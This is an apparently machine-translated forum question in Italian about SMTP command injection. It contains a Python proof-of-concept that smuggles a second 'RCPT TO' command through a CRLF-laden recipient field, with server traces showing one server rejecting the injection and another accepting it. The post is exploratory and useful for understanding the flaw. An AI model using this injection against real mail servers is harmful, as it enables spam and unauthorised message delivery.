Su un altro thread un utente stava tentando di utilizzare le iniezioni SMTP e, come prova, cercando di iniettare un destinatario supplementare per questa email.
La mia comprensione del problema che gli impediva di avere successo era la seguente:
- Utilizza Python SMTPlib che filtra i parametri (i dati imprevisti vengono rilasciati silenziosamente) proprio per prevenire tali attacchi,
- Stava iniettando dati nel posto sbagliato, influenzando i dati della posta invece dello scambio di protocollo SMTP effettivo.
Tuttavia, i seguenti commenti mostrano che la mia comprensione è errata e non capisco ancora perché. Quindi, per evitare discussioni fuori tema su questo thread precedente, apro una nuova domanda con maggiori dettagli sul mio punto di vista.
Ho scritto sotto una rapida dimostrazione di concetto, ancora in Python, e volontariamente non usando SMTPlib poiché, come detto sopra, questa libreria include la protezione contro l'iniezione SMTP:
#! /usr/local/bin/python3.3
host = "smtp.example.com"
port = 2525
sender = "[email protected]"
# Injection occurs here:
recipient = "[email protected]>\r\nRCPT TO:<[email protected]"
msg = "From: \"Bob Example\" <[email protected]>\r\n" + \
"To: \"Alice Example\" <[email protected]>\r\n" + \
"Cc: [email protected]\r\n" + \
"Date: Tue, 15 January 2008 16:02:43 -0500\r\n" + \
"Subject: Test message\r\n" + \
"\r\n" + \
"This is a test\r\n"
import re
import socket
import time
def getReply(sock):
time.sleep(0.1)
reply = str(sock.recv(4096), "ascii")
if reply[0] != '2' and reply[0] != '3':
raise RuntimeError("SMTP error: " + reply)
print("S: " + reply)
def sendCmd(sock, cmd):
sock.sendall(bytes(cmd, "ascii"))
print("C: " + cmd)
getReply(sock)
sock = socket.create_connection((host, port))
getReply(sock)
sendCmd(sock, "EHLO somebody.example.com\r\n")
sendCmd(sock, "MAIL FROM:<" + sender + ">\r\n")
sendCmd(sock, "RCPT TO:<" + recipient + ">\r\n")
sendCmd(sock, "DATA\r\n")
sendCmd(sock, msg + "\r\n.\r\n")
sendCmd(sock, "QUIT\r\n")
sock.close()
Questo script simula e l'iniezione SMTP nel campo del destinatario.
Un server SMTP sicuro può rilevare tale iniezione a causa della presenza di dati finali dopo l'avanzamento riga alla fine del comando RCPT TO:
. L'output sottostante viene prodotto quando si eseguono questi script contro il server OpenSDTPD OpenBSD privato:
S: 220 smtp.example.com ESMTP OpenSMTPD
C: EHLO somebody.example.com
S: 250-smtp.example.com Hello somebody.example.com [127.0.0.1], pleased to meet you
250-8BITMIME
250-ENHANCEDSTATUSCODES
250-SIZE 36700160
250-DSN
250 HELP
C: MAIL FROM:<[email protected]>
S: 250 2.0.0: Ok
C: RCPT TO:<[email protected]>
RCPT TO:<[email protected]>
Traceback (most recent call last):
File "./semail.py", line 31, in <module>
sendCmd(sock, "RCPT TO:<" + recipient + ">\r\n")
File "./semail.py", line 25, in sendCmd
getReply(sock)
File "./semail.py", line 19, in getReply
raise RuntimeError("SMTP error: " + reply)
RuntimeError: SMTP error: 500 5.5.1 Invalid command: Pipelining not supported
Un server SMTP sicuro rileva correttamente i dati sospetti e rifiuta la richiesta.
Tuttavia, il server di posta non sicuro leggerà la riga di dati in entrata per riga e non rileverà il problema. La traccia qui sotto è stata ottenuta eseguendo lo stesso script contro un importante provider di servizi di posta elettronica pubblico:
S: 220 smtp.example.com ESMTP ready
C: EHLO somebody.example.com
S: smtp.example.com
250-PIPELINING
250-SIZE 41943040
250-8BITMIME
250 STARTTLS
C: MAIL FROM:<[email protected]>
S: 250 sender <[email protected]> ok
C: RCPT TO:<[email protected]>
RCPT TO:<[email protected]>
S: 250 recipient <[email protected]> ok
250 recipient <[email protected]> ok
C: DATA
S: 354 go ahead
C: From: "Bob Example" <[email protected]>
To: "Alice Example" <[email protected]>
Cc: [email protected]
Date: Tue, 15 January 2008 16:02:43 -0500
Subject: Test message
This is a test
.
S: 250 ok dirdel 1/1
C: QUIT
S: 221 smtp.example.com
Un server SMTP non sicuro consuma ed esegue comandi iniettati. Qui le e-mail sono state correttamente ricevute dai destinatari.
La mia conclusione dopo questo test è che l'iniezione SMTP di RCPT TO:
comandi usando il campo destinatario ha successo, e la sua esecuzione verso server diversi mostra che alcuni server sono più protetti di altri contro questo attacco.
Inoltre, in questo esempio è stato utilizzato un comando RCTP TO:
come follow-up della domanda originale, tuttavia in questo passaggio uno ha appena accesso alla semplice discussione sul protocollo SMTP ed è libero di iniettare qualsiasi comando sui server vulnerabili.
Tuttavia, i commenti sul thread originale sembrano per indicare che attualmente mi manca qualcosa di cruciale nella mia analisi e che tali conclusioni sono quindi irrilevanti.
Qualcuno potrebbe aiutarmi a determinare dove esattamente ho sbagliato nella mia analisi di questo problema?